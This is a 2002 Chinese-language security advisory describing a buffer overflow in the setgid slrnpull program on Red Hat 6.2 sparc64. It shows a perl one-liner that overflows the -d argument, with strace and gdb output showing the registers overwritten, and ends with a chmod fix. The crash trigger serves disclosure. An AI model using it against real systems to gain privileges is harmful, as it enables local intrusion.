xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Slrnpull存在缓冲溢出漏洞


发布时间:2002-04-24
更新时间:2002-04-24
严重程度:
威胁程度:本地管理员权限
错误类型:边界检查错误
利用方式:服务器模式

受影响系统
Linux RH.6.2 Sparc64
详细描述
Slrnpull是RH6.2-sparc平台下的一个SETGID ROOT程序。用于从NNTP新闻服务器上获得新闻信息。

其中处理-d参数(指定SPOOLDIR目录)时存在漏洞,攻击者提供超长字符串时,可导致缓冲溢出。

测试代码
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on a sparc64


alex@Lab /tmp]$ uname -svrm
Linux 2.2.14-5.0 #1 Tue Mar 7 21:50:41 EST 2000 sparc64



[alex@Lab /tmp]$ ls -la /usr/bin/slrnpull
-rwxr-sx-- 1 news news 48688 Feb 7
2000 /usr/bin/slrnpull



[alex@Lab /tmp]$ /usr/bin/slrnpull -d `perl -e 'print "A" x
4091'`
04/01/2002 22:23:11 ***File name too long.
04/01/2002 22:23:11 slrnpull started.
Segmentation fault




[alex@Lab /tmp]$



MAPPED WITH STRACE


[alex@Lab /tmp]$ strace /usr/bin/slrnpull -d `perl -
e 'print "A" x 4091'`
execve("/usr/bin/slrnpull", ["/usr/bin/slrnpull", "-d",


"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA


[...]



"], [/* 23 vars */]) = 0
brk(0) = 0x38e68
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such
file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=24315, ...}) = 0
mmap(NULL, 24315, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7001c000
close(3) = 0
open("/usr/lib/libslang.so.1", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=315158, ...}) = 0
read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\2\0\0\0\1\0\0
\254"..., 8192) = 8192
mmap(NULL, 386256, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x7002c000
mprotect(0x70066000, 148688, PROT_NONE) = 0
mmap(0x7006c000, 65536, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED, 3, 0x30000) = 0x7006c000
mmap(0x7007c000, 58576, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7007c000
close(3) = 0
open("/lib/libm.so.6", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=790032, ...}) = 0
read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\2\0\0\0\1\0\0
\201"..., 8192) = 8192
mmap(NULL, 277016, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x7008c000
mprotect(0x700c0000, 64024, PROT_NONE) = 0
mmap(0x700cc000, 16384, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED, 3, 0x30000) = 0x700cc000
close(3) = 0
open("/lib/libc.so.6", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=4384427, ...}) = 0
read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\22\0\0\0\1\0\1
\353"..., 8192) = 8192
mmap(NULL, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x70022000
mmap(NULL, 1118552, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x700d0000
mprotect(0x701c8000, 102744, PROT_NONE) = 0
mmap(0x701d0000, 57344, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED, 3, 0xf0000) = 0x701d0000
mmap(0x701de000, 12632, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x701de000
close(3) = 0
munmap(0x7001c000, 24315) = 0
personality(PER_LINUX) = 0
getpid() = 19513
fcntl(0, F_GETFD) = 0
fcntl(1, F_GETFD) = 0
fcntl(2, F_GETFD) = 0
ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
time([1018306383]) = 1018306383
getpagesize() = 0x2000
brk(0) = 0x38e68
brk(0x38e90) = 0x38e90
brk(0x3a000) = 0x3a000
open("/etc/localtime", O_RDONLY) = 3
read(3, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\4
\0"..., 44) = 44
read(3, "\245\266\350p\257\362n\340\266fV`\267C\322`\270
\f6`\270"..., 490) = 490
SYS_63() = -1 ENOSYS (Function
not implemented)
fstat(3, {st_mode=S_IFREG|0644, st_size=582, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7001c000
read(3, "\377\377\243\f\0\0\377\377\235\220\0\4\377\377\253
\240"..., 8192) = 48
close(3) = 0
munmap(0x7001c000, 8192) = 0
write(2, "04/08/2002 17:53:03 ", 2004/08/2002 17:53:03 ) = 20
write(2, "***", 3***) = 3
write(2, "File name too long.", 19File name too long.) = 19
write(2, "\n", 1
) = 1
time([1018306383]) = 1018306383
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...})
= 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7001c000
ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
write(1, "04/08/2002 17:53:03 slrnpull sta"..., 3804/08/2002
17:53:03 slrnpull started.
) = 38
brk(0x3c000) = 0x3c000
brk(0x3e000) = 0x3e000
brk(0x40000) = 0x40000
brk(0x42000) = 0x42000
mkdir
("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
[...]


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/new", 0777) = -1
ENAMETOOLONG (File name too long)
time([1018306383]) = 1018306383
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++


[alex@Lab /tmp]$





DEBUGUING WITH GDB


[alex@Lab /tmp]$ /usr/bin/gdb /usr/bin/slrnpull
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty"
for details.
This GDB was configured as "sparc-redhat-linux"...(no debugging
symbols found)...


(gdb) set args -d `perl -e 'print "A" x 4091'`
(gdb) r
Starting program: /usr/bin/slrnpull -d `perl -e 'print "A" x
4091'`
04/15/2002 16:39:45 ***File name too long.
04/15/2002 16:39:45 slrnpull started.
(no debugging symbols found)...


Program received signal SIGSEGV, Segmentation fault.
0x700f8ad0 in getenv () at ../sysdeps/generic/getenv.c:100
100 ../sysdeps/generic/getenv.c: No such file or directory.
(gdb)





(gdb) inf all
g0 0x0 0
g1 0x1010101 16843009
g2 0x80808080 -2139062144
g3 0x0 0
g4 0x30 48
g5 0x28 40
g6 0x0 0
g7 0xff 255
o0 0x5a540000 1515454464
o1 0xefffeb54 -268440748
o2 0x5a 90
o3 0x54 84
o4 0x6a656374 1785029492
o5 0x72766965 1920362853


sp 0xefffdde0 -268444192
o7 0x700f89f4 1880066548
l0 0xefffeb54 -268440748
l1 0x701c2702 1880893186
l2 0x0 0
l3 0x5a54 23124
l4 0x0 0
l5 0x0 0
l6 0x0 0
l7 0x41414141 1880999612
i0 0x41414141 1094795585
i1 0xfffff974 -1676
i2 0x1 1
i3 0x0 0
i4 0x0 0
i5 0x0 0
fp 0xefffde48 -268444088
i7 0x70152864 1880434788
f0 0 (raw 0x00000000) 0
f1 0 (raw 0x00000000)
f2 0 (raw 0x00000000) 0
f3 0 (raw 0x00000000)



[...]

解决方案
# chmod a-s /usr/bin/slrnpull

相关信息
Alex Hernandez (alex_hernandez@ureach.com)
参考:http://archives.neohapsis.com/archives/bugtraq/2002-04/0302.html